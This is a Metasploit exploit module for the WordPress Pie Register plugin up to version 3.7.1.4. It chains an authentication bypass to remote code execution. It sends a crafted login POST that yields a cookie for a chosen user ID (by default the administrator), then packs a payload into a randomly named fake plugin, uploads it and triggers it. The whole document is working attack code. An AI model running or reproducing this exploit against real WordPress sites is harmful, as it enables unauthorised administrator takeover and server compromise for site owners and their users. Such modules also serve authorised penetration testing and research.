WordPress Pie Register 3.7.1.4 Authentication Bypass / Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Plugin Pie Register Auth Bypass to RCE',
        'Description' => %q{
          This module uses an authentication bypass vulnerability in
          Wordpress Plugin Pie Register <= 3.7.1.4 to generate a valid cookie.
          With this cookie, hopefully of the admin, it will generate a plugin,
          pack the payload into it and upload it to a server running WordPress.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit module
          'Lotfi13-DZ' # EDB
        ],
        'DisclosureDate' => '2021-10-08',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['WordPress', {}]],
        'DefaultTarget' => 0,
        'References' => [
          ['EDB', '50395']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptInt.new('USERID', [true, 'User ID to take over', 1]),
      ]
    )
  end

  def check
    return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

    checkcode = check_plugin_version_from_readme('pie-register', '3.7.1.5')
    if checkcode == CheckCode::Safe
      print_error('Pie Register not a vulnerable version')
    end
    return checkcode
  end

  def get_cookie
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_post' => {
        'user_id_social_site' => datastore['USERID'],
        'social_site' => 'true',
        'piereg_login_after_registration' => 'true',
        '_wp_http_referer' => '/login/',
        'log' => 'null',
        'pwd' => 'null'
      },
      'keep_cookies' => 'true'
    })
    fail_with(Failure::Unreachable, 'Site not responding') unless res

    cookie_jar.cookies.each do |c|
      print_status("Found cookie: #{c.name}=#{c.value}")
    end
    res.get_cookies
  end

  # direct copy from modules/exploits/unix/webapp/wp_admin_shell_upload.rb
  def generate_plugin(plugin_name, payload_name)
    plugin_script = %(<?php
/**
 * Plugin Name: #{plugin_name}
 * Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
 * Author: #{Rex::Text.rand_text_alpha(10)}
 * Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
 * License: GPL2
 */
?>)

    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
    zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
    zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
    zip
  end

  def exploit
    cookie_jar.clear # prevent issues between attempts
    print_status('Bypassing Authentication')
    cookie = get_cookie

    print_status('Preparing payload...')
    plugin_name = Rex::Text.rand_text_alpha(10)
    payload_name = Rex::Text.rand_text_alpha(10).to_s
    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    zip = generate_plugin(plugin_name, payload_name)

    print_status('Uploading payload...')
    uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

    print_status("Executing the payload at #{payload_uri}...")
    register_files_for_cleanup("#{payload_name}.php")
    register_files_for_cleanup("#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")
    send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
  end
end